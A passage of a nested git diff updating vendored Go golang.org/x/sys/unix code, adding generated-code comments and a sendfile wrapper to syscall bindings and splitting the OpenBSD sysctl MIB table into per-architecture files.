- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetrlimit)), 2, uintptr(which), uintptr(unsafe.Pointer(lim)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1289,6 +1581,8 @@ func Setrlimit(which int, lim *Rlimit) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setsid() (pid int, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetsid)), 0, 0, 0, 0, 0, 0, 0)
- pid = int(r0)
-@@ -1298,6 +1592,8 @@ func Setsid() (pid int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Setuid(uid int) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procSetuid)), 1, uintptr(uid), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1306,6 +1602,8 @@ func Setuid(uid int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Shutdown(s int, how int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procshutdown)), 2, uintptr(s), uintptr(how), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1314,6 +1612,8 @@ func Shutdown(s int, how int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Stat(path string, stat *Stat_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1327,6 +1627,8 @@ func Stat(path string, stat *Stat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Statvfs(path string, vfsstat *Statvfs_t) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1340,6 +1642,8 @@ func Statvfs(path string, vfsstat *Statvfs_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Symlink(path string, link string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1358,6 +1662,8 @@ func Symlink(path string, link string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Sync() (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procSync)), 0, 0, 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1366,6 +1672,8 @@ func Sync() (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Times(tms *Tms) (ticks uintptr, err error) {
- r0, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procTimes)), 1, uintptr(unsafe.Pointer(tms)), 0, 0, 0, 0, 0)
- ticks = uintptr(r0)
-@@ -1375,6 +1683,8 @@ func Times(tms *Tms) (ticks uintptr, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Truncate(path string, length int64) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1388,6 +1698,8 @@ func Truncate(path string, length int64) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Fsync(fd int) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFsync)), 1, uintptr(fd), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1396,6 +1708,8 @@ func Fsync(fd int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Ftruncate(fd int, length int64) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procFtruncate)), 2, uintptr(fd), uintptr(length), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1404,12 +1718,16 @@ func Ftruncate(fd int, length int64) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Umask(mask int) (oldmask int) {
- r0, _, _ := sysvicall6(uintptr(unsafe.Pointer(&procUmask)), 1, uintptr(mask), 0, 0, 0, 0, 0)
- oldmask = int(r0)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Uname(buf *Utsname) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procUname)), 1, uintptr(unsafe.Pointer(buf)), 0, 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1418,6 +1736,8 @@ func Uname(buf *Utsname) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unmount(target string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(target)
-@@ -1431,6 +1751,8 @@ func Unmount(target string, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unlink(path string) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1444,6 +1766,8 @@ func Unlink(path string) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Unlinkat(dirfd int, path string, flags int) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1457,6 +1781,8 @@ func Unlinkat(dirfd int, path string, flags int) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Ustat(dev int, ubuf *Ustat_t) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procUstat)), 2, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1465,6 +1791,8 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func Utime(path string, buf *Utimbuf) (err error) {
- var _p0 *byte
- _p0, err = BytePtrFromString(path)
-@@ -1478,6 +1806,8 @@ func Utime(path string, buf *Utimbuf) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_bind)), 3, uintptr(s), uintptr(addr), uintptr(addrlen), 0, 0, 0)
- if e1 != 0 {
-@@ -1486,6 +1816,8 @@ func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_connect)), 3, uintptr(s), uintptr(addr), uintptr(addrlen), 0, 0, 0)
- if e1 != 0 {
-@@ -1494,6 +1826,8 @@ func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procmmap)), 6, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), uintptr(pos))
- ret = uintptr(r0)
-@@ -1503,6 +1837,8 @@ func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func munmap(addr uintptr, length uintptr) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procmunmap)), 2, uintptr(addr), uintptr(length), 0, 0, 0, 0)
- if e1 != 0 {
-@@ -1511,6 +1847,19 @@ func munmap(addr uintptr, length uintptr) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendfile(outfd int, infd int, offset *int64, count int) (written int, err error) {
-+ r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procsendfile)), 4, uintptr(outfd), uintptr(infd), uintptr(unsafe.Pointer(offset)), uintptr(count), 0, 0)
-+ written = int(r0)
-+ if e1 != 0 {
-+ err = e1
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
- var _p0 *byte
- if len(buf) > 0 {
-@@ -1523,6 +1872,8 @@ func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func socket(domain int, typ int, proto int) (fd int, err error) {
- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_socket)), 3, uintptr(domain), uintptr(typ), uintptr(proto), 0, 0, 0)
- fd = int(r0)
-@@ -1532,6 +1883,8 @@ func socket(domain int, typ int, proto int) (fd int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&proc__xnet_socketpair)), 4, uintptr(domain), uintptr(typ), uintptr(proto), uintptr(unsafe.Pointer(fd)), 0, 0)
- if e1 != 0 {
-@@ -1540,6 +1893,8 @@ func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func write(fd int, p []byte) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1553,6 +1908,8 @@ func write(fd int, p []byte) (n int, err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&proc__xnet_getsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(unsafe.Pointer(vallen)), 0)
- if e1 != 0 {
-@@ -1561,6 +1918,8 @@ func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- _, _, e1 := rawSysvicall6(uintptr(unsafe.Pointer(&procgetpeername)), 3, uintptr(fd), uintptr(unsafe.Pointer(rsa)), uintptr(unsafe.Pointer(addrlen)), 0, 0, 0)
- if e1 != 0 {
-@@ -1569,6 +1928,8 @@ func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
- _, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procsetsockopt)), 5, uintptr(s), uintptr(level), uintptr(name), uintptr(val), uintptr(vallen), 0)
- if e1 != 0 {
-@@ -1577,6 +1938,8 @@ func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr)
- return
- }
-
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
- func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
- var _p0 *byte
- if len(p) > 0 {
-@@ -1589,12 +1952,3 @@ func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Sockl
- }
- return
- }
--
--func sysconf(name int) (n int64, err error) {
-- r0, _, e1 := sysvicall6(uintptr(unsafe.Pointer(&procsysconf)), 1, uintptr(name), 0, 0, 0, 0, 0)
-- n = int64(r0)
-- if e1 != 0 {
-- err = e1
-- }
-- return
--}
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_386.go
-similarity index 99%
-copy from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-copy to vendor/golang.org/x/sys/unix/zsysctl_openbsd_386.go
-index 83bb935b..37dcc74c 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_386.go
-@@ -1,5 +1,7 @@
- // mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build 386,openbsd
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_amd64.go
-similarity index 91%
-copy from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-copy to vendor/golang.org/x/sys/unix/zsysctl_openbsd_amd64.go
-index 83bb935b..fe6caa6e 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_amd64.go
-@@ -1,5 +1,7 @@
--// mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysctl_openbsd.go
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build amd64,openbsd
-
- package unix
-
-@@ -14,6 +16,7 @@ var sysctlMib = []mibentry{
- {"ddb.max_line", []_C_int{9, 3}},
- {"ddb.max_width", []_C_int{9, 2}},
- {"ddb.panic", []_C_int{9, 5}},
-+ {"ddb.profile", []_C_int{9, 9}},
- {"ddb.radix", []_C_int{9, 1}},
- {"ddb.tab_stop_width", []_C_int{9, 4}},
- {"ddb.trigger", []_C_int{9, 8}},
-@@ -29,6 +32,7 @@ var sysctlMib = []mibentry{
- {"hw.ncpu", []_C_int{6, 3}},
- {"hw.ncpufound", []_C_int{6, 21}},
- {"hw.pagesize", []_C_int{6, 7}},
-+ {"hw.perfpolicy", []_C_int{6, 23}},
- {"hw.physmem", []_C_int{6, 19}},
- {"hw.product", []_C_int{6, 15}},
- {"hw.serialno", []_C_int{6, 17}},
-@@ -37,7 +41,7 @@ var sysctlMib = []mibentry{
- {"hw.uuid", []_C_int{6, 18}},
- {"hw.vendor", []_C_int{6, 14}},
- {"hw.version", []_C_int{6, 16}},
-- {"kern.arandom", []_C_int{1, 37}},
-+ {"kern.allowkmem", []_C_int{1, 52}},
- {"kern.argmax", []_C_int{1, 8}},
- {"kern.boottime", []_C_int{1, 21}},
- {"kern.bufcachepercent", []_C_int{1, 72}},
-@@ -46,12 +50,13 @@ var sysctlMib = []mibentry{
- {"kern.consdev", []_C_int{1, 75}},
- {"kern.cp_time", []_C_int{1, 40}},
- {"kern.cp_time2", []_C_int{1, 71}},
-- {"kern.cryptodevallowsoft", []_C_int{1, 53}},
-+ {"kern.dnsjackport", []_C_int{1, 13}},
- {"kern.domainname", []_C_int{1, 22}},
- {"kern.file", []_C_int{1, 73}},
- {"kern.forkstat", []_C_int{1, 42}},
- {"kern.fscale", []_C_int{1, 46}},
- {"kern.fsync", []_C_int{1, 33}},
-+ {"kern.global_ptrace", []_C_int{1, 81}},
- {"kern.hostid", []_C_int{1, 11}},
- {"kern.hostname", []_C_int{1, 10}},
- {"kern.intrcnt.nintrcnt", []_C_int{1, 63, 1}},
-@@ -84,7 +89,6 @@ var sysctlMib = []mibentry{
- {"kern.pool_debug", []_C_int{1, 77}},
- {"kern.posix1version", []_C_int{1, 17}},
- {"kern.proc", []_C_int{1, 66}},
-- {"kern.random", []_C_int{1, 31}},
- {"kern.rawpartition", []_C_int{1, 24}},
- {"kern.saved_ids", []_C_int{1, 20}},
- {"kern.securelevel", []_C_int{1, 9}},
-@@ -102,21 +106,16 @@ var sysctlMib = []mibentry{
- {"kern.timecounter.hardware", []_C_int{1, 69, 3}},
- {"kern.timecounter.tick", []_C_int{1, 69, 1}},
- {"kern.timecounter.timestepwarnings", []_C_int{1, 69, 2}},
-- {"kern.tty.maxptys", []_C_int{1, 44, 6}},
-- {"kern.tty.nptys", []_C_int{1, 44, 7}},
- {"kern.tty.tk_cancc", []_C_int{1, 44, 4}},
- {"kern.tty.tk_nin", []_C_int{1, 44, 1}},
- {"kern.tty.tk_nout", []_C_int{1, 44, 2}},
- {"kern.tty.tk_rawcc", []_C_int{1, 44, 3}},
- {"kern.tty.ttyinfo", []_C_int{1, 44, 5}},
- {"kern.ttycount", []_C_int{1, 57}},
-- {"kern.userasymcrypto", []_C_int{1, 60}},
-- {"kern.usercrypto", []_C_int{1, 52}},
-- {"kern.usermount", []_C_int{1, 30}},
- {"kern.version", []_C_int{1, 4}},
-- {"kern.vnode", []_C_int{1, 13}},
- {"kern.watchdog.auto", []_C_int{1, 64, 2}},
- {"kern.watchdog.period", []_C_int{1, 64, 1}},
-+ {"kern.wxabort", []_C_int{1, 74}},
- {"net.bpf.bufsize", []_C_int{4, 31, 1}},
- {"net.bpf.maxbufsize", []_C_int{4, 31, 2}},
- {"net.inet.ah.enable", []_C_int{4, 2, 51, 1}},
-@@ -144,7 +143,9 @@ var sysctlMib = []mibentry{
- {"net.inet.icmp.stats", []_C_int{4, 2, 1, 7}},
- {"net.inet.icmp.tstamprepl", []_C_int{4, 2, 1, 6}},
- {"net.inet.igmp.stats", []_C_int{4, 2, 2, 1}},
-+ {"net.inet.ip.arpdown", []_C_int{4, 2, 0, 40}},
- {"net.inet.ip.arpqueued", []_C_int{4, 2, 0, 36}},
-+ {"net.inet.ip.arptimeout", []_C_int{4, 2, 0, 39}},
- {"net.inet.ip.encdebug", []_C_int{4, 2, 0, 12}},
- {"net.inet.ip.forwarding", []_C_int{4, 2, 0, 1}},
- {"net.inet.ip.ifq.congestion", []_C_int{4, 2, 0, 30, 4}},
-@@ -153,8 +154,10 @@ var sysctlMib = []mibentry{
- {"net.inet.ip.ifq.maxlen", []_C_int{4, 2, 0, 30, 2}},
- {"net.inet.ip.maxqueue", []_C_int{4, 2, 0, 11}},
- {"net.inet.ip.mforwarding", []_C_int{4, 2, 0, 31}},
-+ {"net.inet.ip.mrtmfc", []_C_int{4, 2, 0, 37}},
- {"net.inet.ip.mrtproto", []_C_int{4, 2, 0, 34}},
- {"net.inet.ip.mrtstats", []_C_int{4, 2, 0, 35}},
-+ {"net.inet.ip.mrtvif", []_C_int{4, 2, 0, 38}},
- {"net.inet.ip.mtu", []_C_int{4, 2, 0, 4}},
- {"net.inet.ip.mtudisc", []_C_int{4, 2, 0, 27}},
- {"net.inet.ip.mtudisctimeout", []_C_int{4, 2, 0, 28}},
-@@ -173,7 +176,6 @@ var sysctlMib = []mibentry{
- {"net.inet.ipip.stats", []_C_int{4, 2, 4, 2}},
- {"net.inet.mobileip.allow", []_C_int{4, 2, 55, 1}},
- {"net.inet.pfsync.stats", []_C_int{4, 2, 240, 1}},
-- {"net.inet.pim.stats", []_C_int{4, 2, 103, 1}},
- {"net.inet.tcp.ackonpush", []_C_int{4, 2, 6, 13}},
- {"net.inet.tcp.always_keepalive", []_C_int{4, 2, 6, 22}},
- {"net.inet.tcp.baddynamic", []_C_int{4, 2, 6, 6}},
-@@ -187,6 +189,7 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.reasslimit", []_C_int{4, 2, 6, 18}},
- {"net.inet.tcp.rfc1323", []_C_int{4, 2, 6, 1}},
- {"net.inet.tcp.rfc3390", []_C_int{4, 2, 6, 17}},
-+ {"net.inet.tcp.rootonly", []_C_int{4, 2, 6, 24}},
- {"net.inet.tcp.rstppslimit", []_C_int{4, 2, 6, 12}},
- {"net.inet.tcp.sack", []_C_int{4, 2, 6, 10}},
- {"net.inet.tcp.sackholelimit", []_C_int{4, 2, 6, 20}},
-@@ -194,9 +197,12 @@ var sysctlMib = []mibentry{
- {"net.inet.tcp.stats", []_C_int{4, 2, 6, 21}},
- {"net.inet.tcp.synbucketlimit", []_C_int{4, 2, 6, 16}},
- {"net.inet.tcp.syncachelimit", []_C_int{4, 2, 6, 15}},
-+ {"net.inet.tcp.synhashsize", []_C_int{4, 2, 6, 25}},
-+ {"net.inet.tcp.synuselimit", []_C_int{4, 2, 6, 23}},
- {"net.inet.udp.baddynamic", []_C_int{4, 2, 17, 2}},
- {"net.inet.udp.checksum", []_C_int{4, 2, 17, 1}},
- {"net.inet.udp.recvspace", []_C_int{4, 2, 17, 3}},
-+ {"net.inet.udp.rootonly", []_C_int{4, 2, 17, 6}},
- {"net.inet.udp.sendspace", []_C_int{4, 2, 17, 4}},
- {"net.inet.udp.stats", []_C_int{4, 2, 17, 5}},
- {"net.inet6.divert.recvspace", []_C_int{4, 24, 86, 1}},
-@@ -209,13 +215,8 @@ var sysctlMib = []mibentry{
- {"net.inet6.icmp6.nd6_delay", []_C_int{4, 24, 30, 8}},
- {"net.inet6.icmp6.nd6_maxnudhint", []_C_int{4, 24, 30, 15}},
- {"net.inet6.icmp6.nd6_mmaxtries", []_C_int{4, 24, 30, 10}},
-- {"net.inet6.icmp6.nd6_prune", []_C_int{4, 24, 30, 6}},
- {"net.inet6.icmp6.nd6_umaxtries", []_C_int{4, 24, 30, 9}},
-- {"net.inet6.icmp6.nd6_useloopback", []_C_int{4, 24, 30, 11}},
-- {"net.inet6.icmp6.nodeinfo", []_C_int{4, 24, 30, 13}},
-- {"net.inet6.icmp6.rediraccept", []_C_int{4, 24, 30, 2}},
- {"net.inet6.icmp6.redirtimeout", []_C_int{4, 24, 30, 3}},
-- {"net.inet6.ip6.accept_rtadv", []_C_int{4, 24, 17, 12}},
- {"net.inet6.ip6.auto_flowlabel", []_C_int{4, 24, 17, 17}},
- {"net.inet6.ip6.dad_count", []_C_int{4, 24, 17, 16}},
- {"net.inet6.ip6.dad_pending", []_C_int{4, 24, 17, 49}},
-@@ -228,20 +229,19 @@ var sysctlMib = []mibentry{
- {"net.inet6.ip6.maxdynroutes", []_C_int{4, 24, 17, 48}},
- {"net.inet6.ip6.maxfragpackets", []_C_int{4, 24, 17, 9}},
- {"net.inet6.ip6.maxfrags", []_C_int{4, 24, 17, 41}},
-- {"net.inet6.ip6.maxifdefrouters", []_C_int{4, 24, 17, 47}},
-- {"net.inet6.ip6.maxifprefixes", []_C_int{4, 24, 17, 46}},
- {"net.inet6.ip6.mforwarding", []_C_int{4, 24, 17, 42}},
-+ {"net.inet6.ip6.mrtmfc", []_C_int{4, 24, 17, 53}},
-+ {"net.inet6.ip6.mrtmif", []_C_int{4, 24, 17, 52}},
- {"net.inet6.ip6.mrtproto", []_C_int{4, 24, 17, 8}},
- {"net.inet6.ip6.mtudisctimeout", []_C_int{4, 24, 17, 50}},
- {"net.inet6.ip6.multicast_mtudisc", []_C_int{4, 24, 17, 44}},
- {"net.inet6.ip6.multipath", []_C_int{4, 24, 17, 43}},
- {"net.inet6.ip6.neighborgcthresh", []_C_int{4, 24, 17, 45}},
- {"net.inet6.ip6.redirect", []_C_int{4, 24, 17, 2}},
-- {"net.inet6.ip6.rr_prune", []_C_int{4, 24, 17, 22}},
-+ {"net.inet6.ip6.soiikey", []_C_int{4, 24, 17, 54}},
- {"net.inet6.ip6.sourcecheck", []_C_int{4, 24, 17, 10}},
- {"net.inet6.ip6.sourcecheck_logint", []_C_int{4, 24, 17, 11}},
- {"net.inet6.ip6.use_deprecated", []_C_int{4, 24, 17, 21}},
-- {"net.inet6.ip6.v6only", []_C_int{4, 24, 17, 24}},
- {"net.key.sadb_dump", []_C_int{4, 30, 1}},
- {"net.key.spd_dump", []_C_int{4, 30, 2}},
- {"net.mpls.ifq.congestion", []_C_int{4, 33, 3, 4}},
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm.go
-similarity index 99%
-copy from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-copy to vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm.go
-index 83bb935b..6eb8c0b0 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm.go
-@@ -1,5 +1,7 @@
--// mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysctl_openbsd.go
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build arm,openbsd
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm64.go
-similarity index 91%
-rename from vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-rename to vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm64.go
-index 83bb935b..ba4304fd 100644
---- a/vendor/golang.org/x/sys/unix/zsysctl_openbsd.go
-+++ b/vendor/golang.org/x/sys/unix/zsysctl_openbsd_arm64.go
-@@ -1,5 +1,7 @@
--// mksysctl_openbsd.pl
--// MACHINE GENERATED BY THE ABOVE COMMAND; DO NOT EDIT
-+// go run mksysctl_openbsd.go
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build arm64,openbsd
-
- package unix
-
-@@ -14,6 +16,7 @@ var sysctlMib = []mibentry{
- {"ddb.max_line", []_C_int{9, 3}},
- {"ddb.max_width", []_C_int{9, 2}},
- {"ddb.panic", []_C_int{9, 5}},
-+ {"ddb.profile", []_C_int{9, 9}},
- {"ddb.radix", []_C_int{9, 1}},
- {"ddb.tab_stop_width", []_C_int{9, 4}},
- {"ddb.trigger", []_C_int{9, 8}},
-@@ -28,17 +31,21 @@ var sysctlMib = []mibentry{
- {"hw.model", []_C_int{6, 2}},
- {"hw.ncpu", []_C_int{6, 3}},
- {"hw.ncpufound", []_C_int{6, 21}},
-+ {"hw.ncpuonline", []_C_int{6, 25}},
- {"hw.pagesize", []_C_int{6, 7}},
-+ {"hw.perfpolicy", []_C_int{6, 23}},
- {"hw.physmem", []_C_int{6, 19}},
- {"hw.product", []_C_int{6, 15}},
- {"hw.serialno", []_C_int{6, 17}},
- {"hw.setperf", []_C_int{6, 13}},
-+ {"hw.smt", []_C_int{6, 24}},
- {"hw.usermem", []_C_int{6, 20}},
- {"hw.uuid", []_C_int{6, 18}},
- {"hw.vendor", []_C_int{6, 14}},
- {"hw.version", []_C_int{6, 16}},
-- {"kern.arandom", []_C_int{1, 37}},
-+ {"kern.allowkmem", []_C_int{1, 52}},
- {"kern.argmax", []_C_int{1, 8}},
-+ {"kern.audio", []_C_int{1, 84}},
- {"kern.boottime", []_C_int{1, 21}},
- {"kern.bufcachepercent", []_C_int{1, 72}},
- {"kern.ccpu", []_C_int{1, 45}},
-@@ -46,12 +53,13 @@ var sysctlMib = []mibentry{
- {"kern.consdev", []_C_int{1, 75}},
- {"kern.cp_time", []_C_int{1, 40}},
- {"kern.cp_time2", []_C_int{1, 71}},
-- {"kern.cryptodevallowsoft", []_C_int{1, 53}},
-+ {"kern.cpustats", []_C_int{1, 85}},
- {"kern.domainname", []_C_int{1, 22}},
- {"kern.file", []_C_int{1, 73}},
- {"kern.forkstat", []_C_int{1, 42}},
- {"kern.fscale", []_C_int{1, 46}},
- {"kern.fsync", []_C_int{1, 33}},
-+ {"kern.global_ptrace", []_C_int{1, 81}},
- {"kern.hostid", []_C_int{1, 11}},
- {"kern.hostname", []_C_int{1, 10}},
- {"kern.intrcnt.nintrcnt", []_C_int{1, 63, 1}},
-@@ -84,7 +92,6 @@ var sysctlMib = []mibentry{
- {"kern.pool_debug", []_C_int{1, 77}},
- {"kern.posix1version", []_C_int{1, 17}},
- {"kern.proc", []_C_int{1, 66}},
-- {"kern.random", []_C_int{1, 31}},
- {"kern.rawpartition", []_C_int{1, 24}},
- {"kern.saved_ids", []_C_int{1, 20}},
- {"kern.securelevel", []_C_int{1, 9}},
-@@ -102,21 +109,17 @@ var sysctlMib = []mibentry{
- {"kern.timecounter.hardware", []_C_int{1, 69, 3}},
- {"kern.timecounter.tick", []_C_int{1, 69, 1}},
- {"kern.timecounter.timestepwarnings", []_C_int{1, 69, 2}},
-- {"kern.tty.maxptys", []_C_int{1, 44, 6}},
-- {"kern.tty.nptys", []_C_int{1, 44, 7}},
- {"kern.tty.tk_cancc", []_C_int{1, 44, 4}},
- {"kern.tty.tk_nin", []_C_int{1, 44, 1}},
- {"kern.tty.tk_nout", []_C_int{1, 44, 2}},
- {"kern.tty.tk_rawcc", []_C_int{1, 44, 3}},
- {"kern.tty.ttyinfo", []_C_int{1, 44, 5}},
- {"kern.ttycount", []_C_int{1, 57}},
-- {"kern.userasymcrypto", []_C_int{1, 60}},
-- {"kern.usercrypto", []_C_int{1, 52}},
-- {"kern.usermount", []_C_int{1, 30}},
- {"kern.version", []_C_int{1, 4}},
-- {"kern.vnode", []_C_int{1, 13}},
- {"kern.watchdog.auto", []_C_int{1, 64, 2}},
- {"kern.watchdog.period", []_C_int{1, 64, 1}},
-+ {"kern.witnesswatch", []_C_int{1, 53}},
-+ {"kern.wxabort", []_C_int{1, 74}},
- {"net.bpf.bufsize", []_C_int{4, 31, 1}},
- {"net.bpf.maxbufsize", []_C_int{4, 31, 2}},
- {"net.inet.ah.enable", []_C_int{4, 2, 51, 1}},
